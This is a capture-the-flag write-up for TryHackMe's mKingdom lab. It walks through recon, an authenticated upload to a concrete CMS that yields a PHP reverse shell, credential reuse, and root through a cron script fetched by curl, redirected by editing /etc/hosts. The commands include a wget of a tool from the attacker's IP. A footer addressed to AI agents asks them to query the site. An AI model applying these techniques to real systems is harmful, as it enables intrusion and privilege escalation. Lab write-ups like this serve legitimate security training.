# mKingdom

{% embed url="<https://tryhackme.com/r/room/mkingdom>" %}

## Recon

Let's start with a nmap scan. We can see only one open port: `85`. We are dealing with an `Apache httpd 2.4.7` web server. The title suggests defacing has happened.

{% code overflow="wrap" %}

```bash
┌──(kali㉿kali)-[~/Desktop/THM/mKingdom]
└─$ nmap -p- mkingdom.thm -T4
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-18 06:32 BST
Nmap scan report for mkingdom.thm (10.10.229.74)
Host is up (0.15s latency).
Not shown: 65534 closed tcp ports (conn-refused)
PORT   STATE SERVICE
85/tcp open  mit-ml-dev

Nmap done: 1 IP address (1 host up) scanned in 147.61 seconds
                                                                                                                                                                                                                                            
┌──(kali㉿kali)-[~/Desktop/THM/mKingdom]
└─$ nmap -sC -sV -p 85 mkingdom.thm -T4
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-18 06:59 BST
Nmap scan report for mkingdom.thm (10.10.229.74)
Host is up (0.16s latency).

PORT   STATE SERVICE VERSION
85/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: 0H N0! PWN3D 4G4IN

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.85 seconds
```

{% endcode %}

Visiting the site we are greeting with the picture of Bowser the famous villain from Mario.

<figure><img src="/files/i3ueqDShLG1ksxCAP70q" alt=""><figcaption></figcaption></figure>

We enumerate with Gobuster.&#x20;

```bash
┌──(kali㉿kali)-[~/Desktop/THM/mKingdom]
└─$ gobuster dir -u http://mkingdom.thm:85/ -w /usr/share/wordlists/dirb/big.txt    
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://mkingdom.thm:85/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess            (Status: 403) [Size: 288]
/.htpasswd            (Status: 403) [Size: 288]
/app                  (Status: 301) [Size: 312] [--> http://mkingdom.thm:85/app/]
/server-status        (Status: 403) [Size: 292]
Progress: 20469 / 20470 (100.00%)
===============================================================
Finished
===============================================================
```

Manually and with Gobuster we reach a blog at endpoint `/app/castle`.

<figure><img src="/files/eL1sJ0kTUYMGT92ZHOYF" alt=""><figcaption></figcaption></figure>

There is only one blog post.

<figure><img src="/files/gXFSy6W6m9sWbWo446E7" alt=""><figcaption></figcaption></figure>

We see that the CMS concrete is being used. In the source, we also find the version used: `8.5.2`. This is vulnerable to authenticated remote code execution.

<figure><img src="/files/Gvl2iHFg86hSiwvgTi62" alt=""><figcaption></figcaption></figure>

This vulnerability is explained step-by-step in the following post. The requirement here is to be in possession of admin credentials, as this allows you to modify upload restrictions by adding file types and then uploading and triggering a PHP reverse shell.

{% embed url="<https://vulners.com/hackerone/H1:768322>" %}

## Initial Access

We know about the possible entry point through authenticated RCE, but still need credentials.&#x20;

We can log in with the username `admin` and a very password that starts with `p`.

<figure><img src="/files/fGSxTEtXQv34ht0xMmI1" alt=""><figcaption></figcaption></figure>

We are able to log in and access the admin dashboard available.

<figure><img src="/files/0ZjnJ9iFYltYH3j9yH0d" alt=""><figcaption></figcaption></figure>

Select `System & Settings`, then `Allowed File Type`.

<figure><img src="/files/2XDJUaMjgLOhp15vbWin" alt=""><figcaption></figcaption></figure>

Next, add `php`, separated by a comma, and save the changes.

<figure><img src="/files/vqEuSjabPYoTKcbPdVQz" alt=""><figcaption></figcaption></figure>

We can use the reverse shell from PentestMonkey.

{% embed url="<https://github.com/pentestmonkey/php-reverse-shell>" %}

To upload files, we simply drag them into the `File Manager` at `/app/castle/dashboard/files/search`⁣⁣. We get the URL to access the file. Before we do that, we set up a listener on our chosen port

<figure><img src="/files/mvMcvTg4KjJaodYrjuyS" alt=""><figcaption></figcaption></figure>

Next, we visit the link presented.

```
http://mkingdom.thm:85/app/castle/application/files/6917/1869/6840/rs.php
```

We get a connection from our reverse shell as `www-data`. Unfortunately, we won't find the user flag here. We have to move laterally. By inspection `/etc/passwd` we find two users, `toad` and `mario`.

<figure><img src="/files/KAsSrf2WmYqezfAx6N8F" alt=""><figcaption></figcaption></figure>

We run `linpeas.sh` and discover that `cat` is a SUID binary owned by the user `toad`. This means that running `cat` as a different user will execute the binary with toad's privileges.

{% code overflow="wrap" %}

```
$ netstat -tulnp
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address     Foreign Address   State      PID/Program name
tcp        0      0 127.0.0.1:3306       0.0.0.0:*      LISTEN        -               
tcp        0      0 127.0.0.1:631        0.0.0.0:*      LISTEN        -               
tcp6       0      0 :::85                   :::*        LISTEN        -               
tcp6       0      0 ::1:631                 :::*        LISTEN        -               
udp        0      0 0.0.0.0:5353         0.0.0.0:*                    -               
udp        0      0 0.0.0.0:53109        0.0.0.0:*                    -               
udp        0      0 0.0.0.0:68           0.0.0.0:*                    -               
udp        0      0 0.0.0.0:43628        0.0.0.0:*                    -               
udp        0      0 0.0.0.0:631          0.0.0.0:*                    -               
udp6       0      0 :::5353                 :::*                      -              
udp6       0      0 :::33649                :::*                      -
udp6       0      0 :::46215                :::*                      -
```

{% endcode %}

MySQL is running internally. Maybe we can retrieve some credentials from the web app.

By examining the configuration files, we can find the database credentials. Although exploring the database might not reveal any new users, it's worth checking if the same credentials are being reused elsewhere.

<figure><img src="/files/V7dEJXmnt3bURUwcKc1e" alt=""><figcaption></figcaption></figure>

We are able to switch users for toad.

<figure><img src="/files/PhsT9xTzVjoC2CDAorff" alt=""><figcaption></figcaption></figure>

While enumerating the target manually, we find a strange password token in the `env` variable encoded in base 64.

<figure><img src="/files/lZdUTFAINPijqaHFHyyx" alt=""><figcaption></figcaption></figure>

We can decode it and switch to mario

<figure><img src="/files/99USLxFJP0orgmd9EFi6" alt=""><figcaption></figcaption></figure>

Here we find the first flag, and we can't read the flag, because of the SUID bit set. We look for another copy of cat on the machine and find one at `/usr/lib/klibc/cat`, With that, we can read the last flag.

## Privilege Escalation

We upload and run pspy64 on the machine to discover processes running in the background.

{% code overflow="wrap" %}

```bash
mario@mkingdom:~$ wget http://10.17.15.155/pspy64
--2024-06-18 03:20:35--  http://10.17.15.155/pspy64
Connecting to 10.17.15.155:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3104768 (3.0M) [application/octet-stream]
Saving to: ‘pspy64’

100%[======================================>] 3,104,768   1.88MB/s   in 1.6s   

2024-06-18 03:20:37 (1.88 MB/s) - ‘pspy64’ saved [3104768/3104768]

mario@mkingdom:~$ ls
Desktop    Downloads  Pictures  Public     user.txt
Documents  Music      pspy64    Templates  Videos
mario@mkingdom:~$ chmod +x pspy64
mario@mkingdom:~$ ./pspy64 
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d


     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░
    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒ 
    ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░ 
    ░░       ░  ░  ░  ░░       ▒ ▒ ░░  
                   ░           ░ ░     
                               ░ ░     

Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
2024/06/18 03:21:00 CMD: UID=1001  PID=31375  | ./pspy64 
```

{% endcode %}

Here we find a cronjob that uses cURL to download a script at `mkingdom.thm` and execute it. If we are somehow able to write to `/etc/host`, we can uplaod a malicious script that executes a reverse shell for us.

<figure><img src="/files/jWBjrCkoNlQArOvsMtAO" alt=""><figcaption></figcaption></figure>

We can confirm that we are able to write to `/etc/hosts` as mario

<figure><img src="/files/19Y7NR2JxOeDQAvjcWDD" alt=""><figcaption></figcaption></figure>

With nano or vi we can update the `/etc/hosts` and replace the existing IP for `mkingdom.thm` with our own IP address

Next, we create the folder structure, create the script, place it in the correct location, and set up a web server on port 85 using Python. Besides this, a listener is running on our desired port.

{% code overflow="wrap" %}

```bash
┌──(kali㉿kali)-[~/Desktop/THM/mKingdom]
└─$ mkdir app
                                                                                                                                                                                                                                            
┌──(kali㉿kali)-[~/Desktop/THM/mKingdom]
└─$ mkdir app/castle
                                                                                                                                                                                                                                            
┌──(kali㉿kali)-[~/Desktop/THM/mKingdom]
└─$ mkdir app/castle/application  
                                                                                                                                                                                                                                            
┌──(kali㉿kali)-[~/Desktop/THM/mKingdom]
└─$ ls
app
                                                                                                                                                                                                                                            
┌──(kali㉿kali)-[~/Desktop/THM/mKingdom]
└─$ nano counter.sh             

┌──(kali㉿kali)-[~/Desktop/THM/mKingdom]
└─$ mv counter.sh app/castle/application/counter.sh

┌──(kali㉿kali)-[~/Desktop/THM/mKingdom]
└─$ python3 -m http.server 85 
Serving HTTP on 0.0.0.0 port 85 (http://0.0.0.0:85/) ...
10.10.229.74 - - [18/Jun/2024 08:36:03] "GET /app/castle/application/counter.sh HTTP/1.1" 200 -
```

{% endcode %}

After a some time, the script gets downloaded.

We get a reverse shell connection back as root. We can read the flag in the home directory of root using `cat`.

<figure><img src="/files/2dT38d3YsS7HZ06OxpY8" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/O1l9qNhOLgmRdlxjYdrB" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://bunring.gitbook.io/ctf-writeups/try-hack-me/2024/mkingdom.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
